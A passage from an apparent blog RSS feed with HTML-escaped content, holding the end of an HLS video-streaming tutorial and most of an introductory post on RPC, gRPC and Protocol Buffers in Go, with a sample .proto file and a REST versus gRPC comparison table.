style=&#34;color:#78787e&#34;&gt;//Una vez cargado el índice reproduce el video&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    hls.on(Hls.Events.MANIFEST_PARSED,&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      video.play();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (video.canPlayType(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;application/vnd.apple.mpegurl&amp;#39;&lt;/span&gt;)) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    video.src &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://tuservidor.com/ruta/stream&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    video.addEventListener(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;loadedmetadata&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      video.play();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you were to examine the browser you would see that the video is loaded bit by bit, and as it is needed, the browser requests the next video segment and automatically adds it to the playback.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/stream-your-videos-and-audios-a-simple-introduction-to-streaming-with-hls-for-your-applications/images/hls.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/stream-your-videos-and-audios-a-simple-introduction-to-streaming-with-hls-for-your-applications/images/hls.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Download HLS index and video snippets in browser&#34; width=&#34;1000&#34; height=&#34;535&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Download HLS index and video snippets in browser&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;preprocessing-of-videos-for-hls-on-the-server&#34;&gt;Preprocessing of videos for HLS on the server&lt;/h2&gt;&#xA;&lt;p&gt;If you will be in charge of processing the videos yourself, you may want to implement a service that will take care of encoding the videos to h.264 or h.265 and then split them into segments. After that you may want to link them to a notification system that lets your application know that the video processing is finished and can be played.&lt;/p&gt;&#xA;&lt;p&gt;You may also want to have variants of the video with different quality, to be used in case of a slower connection on the client.&lt;/p&gt;&#xA;&lt;p&gt;Of course, all of the above already depends on your architectural needs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTM3U&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-VERSION:6&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-STREAM-INF:BANDWIDTH=1210000,RESOLUTION=480x360,CODECS=&amp;#34;avc1.640015,mp4a.40.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index-360p.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-STREAM-INF:BANDWIDTH=2283600,RESOLUTION=640x480,CODECS=&amp;#34;avc1.64001e,mp4a.40.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index-480p.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-STREAM-INF:BANDWIDTH=3933600,RESOLUTION=1280x720,CODECS=&amp;#34;avc1.64001f,mp4a.40.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index-720p.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this you have the minimum to create a basic example and go from there on your own.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Almost all modern web applications perform some form of streaming, from video platforms to live streaming. In this post I explain how streaming works with HLS in such a simplified way that it will bring out your inner purist.&lt;/p&gt;&#xA;&lt;p&gt;I leave you a minimal example of streaming in Go here in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/go-hls-streaming-example&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;my github repository&lt;/a&gt;&#xA;, in case you want to see the code.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;introduction-to-streaming&#34;&gt;Introduction to streaming&lt;/h2&gt;&#xA;&lt;p&gt;Videos and audios contain a lot of encoded information, so their handling and downloading strongly impacts the bandwidth and usage of any server.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Fast and performant APIs using Go Lang gRPC and Protobuffers</title>
      <link>https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/</link>
      <pubDate>Thu, 19 Jan 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/</guid>
      
      <category>software architecture</category>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Protobuffers allow you to create a Go Lang gRPC API that has the characteristic of being incredibly faster, because it uses binary instead of other less optimized formats (such as JSON), in this post you will learn what this type of API is and why it is so fast.&lt;/p&gt;&#xA;&lt;p&gt;In my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;the basic characteristics of a REST API&lt;/a&gt;&#xA; I mentioned to you that, besides REST, there were other types of APIS, one of them is gRPC, which is derived from RPC, so let&amp;rsquo;s start the post talking about the latter.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-rpc&#34;&gt;What is RPC?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;RPC stands for Remote Procedure Call, which, in simple words, refers to invoking code execution on one machine from another machine, usually a server, in such a way that, to the programmer, it appears that the execution was performed locally.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-does-rpc-work&#34;&gt;How does RPC work?&lt;/h3&gt;&#xA;&lt;p&gt;The more detailed process is as follows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The client makes the call by sending a message to the network.&lt;/li&gt;&#xA;&lt;li&gt;The call includes a procedure to encode the methods, request types, and response type in the appropriate format.&#xA;request and response type in the appropriate format.&#xA;(&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Marshalling&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;marshalling&lt;/a&gt;&#xA;). &lt;strong&gt;This procedure is called the stub&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The server receives the request and uses the stub to decode the data into the appropriate format of the RPC environment and to know what to execute and with what information.&lt;/li&gt;&#xA;&lt;li&gt;The task is executed on the server and a response is generated as a result.&lt;/li&gt;&#xA;&lt;li&gt;The response from the server is encoded using the stub and sent to the client.&lt;/li&gt;&#xA;&lt;li&gt;The client receives the response and decodes it in the appropriate format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743999893/coffee-bytes/rpc-diagram_lre4ut.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743999893/coffee-bytes/rpc-diagram_lre4ut.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Schematic diagram of gRPC operation&#34; width=&#34;1080&#34; height=&#34;669&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Schematic diagram of gRPC operation&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Did you notice I mentioned data encryption? Well, one aspect of RPC to note is that it requires both client and server to use the same programming language, which makes it a disadvantage in environments where multiple programming languages can be mixed.&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s go to gRPC.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-is-go-lang-grpc&#34;&gt;What is Go Lang gRPC?&lt;/h2&gt;&#xA;&lt;p&gt;Google took into account the shortcomings of RPC and decided to improve it by creating gRPC.&lt;/p&gt;&#xA;&lt;p&gt;gRPC emulates RPC with the advantage that it &lt;strong&gt;does not need to use the same programming language&lt;/strong&gt; to perform machine-to-machine communication.&lt;/p&gt;&#xA;&lt;p&gt;And what happened to data encryption? Well, Google developed Protocol Buffers (or protobuffers) to use them as the default format for gRPC in the exchange of information between machines and achieve better performance than other formats such as JSON or XML.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-are-golang-protobuffers&#34;&gt;What are Golang protobuffers?&lt;/h2&gt;&#xA;&lt;p&gt;You have probably worked with APIs and have noticed that, when communicating with an API, there is an exchange of information; you send information to the API and it returns a response. This exchange of information can take place in different formats, plain text, XML (if you are old school) or JSON (the most popular today).&lt;/p&gt;&#xA;&lt;p&gt;For this exchange to occur, the information must be serialized when it is sent and then deserialized.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    JSON-- serialización --&gt;data;&#xA;    data-- deserialización --&gt;JSON;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Protocol Buffers (protobuffers from now on) are a completely language and platform agnostic format, which gRPC uses to serialize and deserialize structured data only that, instead of using JSON, XML or another format, it is done directly in binary. This, as you know, makes it much more efficient than using a more human-friendly format like JSON.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/images/protobuffers-grpc.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/images/protobuffers-grpc.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The compilation of the .proto file is unidirectional, while the serialization deserialization is bidirectional.&#34; width=&#34;1400&#34; height=&#34;800&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The compilation of the .proto file is unidirectional, while the serialization deserialization is bidirectional.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;how-to-convert-information-with-golang-protobuffers&#34;&gt;How to convert information with Golang protobuffers?&lt;/h3&gt;&#xA;&lt;p&gt;Simplifying, to create the necessary code to serialize and deserialize in the protobuffers format we start from a file with extension &lt;em&gt;.proto&lt;/em&gt;, this will be in charge of modeling the information that we will use to communicate, as well as the services that will be available for our API. Basically it is to tell you how our information is structured and what changes we are going to make on this information along with what they will receive as input and return as response.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;message DataResponse {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;int32&lt;/span&gt; id = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; info = &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; result = &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;message DataRequest {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;int32&lt;/span&gt; id = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; info = &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;service Publisher {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rpc &lt;span style=&#34;color:#57c7ff&#34;&gt;ProcessData&lt;/span&gt; (DataRequest) &lt;span style=&#34;color:#57c7ff&#34;&gt;returns&lt;/span&gt; (DataResponse) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After defining our models and services, these files are compiled, and will generate the necessary code to serialize and deserialize the information in the language we want, both on the client and server side. We do not have to worry about the details in this regard.&lt;/p&gt;&#xA;&lt;p&gt;Currently the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developers.google.com/protocol-buffers&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;protobuffers format is available for C#, C++, Go, Objective-C, Java, Python and Ruby.&lt;/a&gt;&#xA; Check the documentation for your particular language.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rest-vs-grpc&#34;&gt;REST vs gRPC&lt;/h2&gt;&#xA;&lt;h3 id=&#34;differences-between-rest-and-grpc&#34;&gt;Differences between REST and gRPC&lt;/h3&gt;&#xA;&lt;p&gt;I put the main differences between REST and gRPC are summarized in this table&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Aspect&lt;/th&gt;&#xA;          &lt;th&gt;REST (JSON/HTTP)&lt;/th&gt;&#xA;          &lt;th&gt;gRPC (Protobuf)&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Slower (text-based)&lt;/td&gt;&#xA;          &lt;td&gt;Faster (binary encoding)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Payload Size&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Larger (JSON)&lt;/td&gt;&#xA;          &lt;td&gt;Smaller (binary Protobuf)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Compilation&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;No schema (dynamic)&lt;/td&gt;&#xA;          &lt;td&gt;Requires Protobuf compilation&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;HTTP Version&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;HTTP/1.1 (mostly)&lt;/td&gt;&#xA;          &lt;td&gt;HTTP/2 (multiplexed streams)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Streaming&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Limited (SSE, WebSockets)&lt;/td&gt;&#xA;          &lt;td&gt;Native (client/server/bidi)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Browser Support&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Full&lt;/td&gt;&#xA;          &lt;td&gt;Limited (requires gRPC-Web)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Code Gen&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Optional (Swagger/OpenAPI)&lt;/td&gt;&#xA;          &lt;td&gt;Built-in (protoc)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Use Cases&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Public APIs, Web Apps&lt;/td&gt;&#xA;          &lt;td&gt;Microservices, Internal Systems&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Error Handling&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;HTTP Status Codes&lt;/td&gt;&#xA;          &lt;td&gt;Rich error codes + status&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Go Integration&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Manual structs (&lt;code&gt;json:&amp;quot;&amp;quot;&lt;/code&gt;)&lt;/td&gt;&#xA;          &lt;td&gt;Auto-generated Go structs&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Caching&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Easy (HTTP caching)&lt;/td&gt;&#xA;          &lt;td&gt;Difficult (binary format)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Human Readable&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Yes (JSON)&lt;/td&gt;&#xA;          &lt;td&gt;No (binary)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      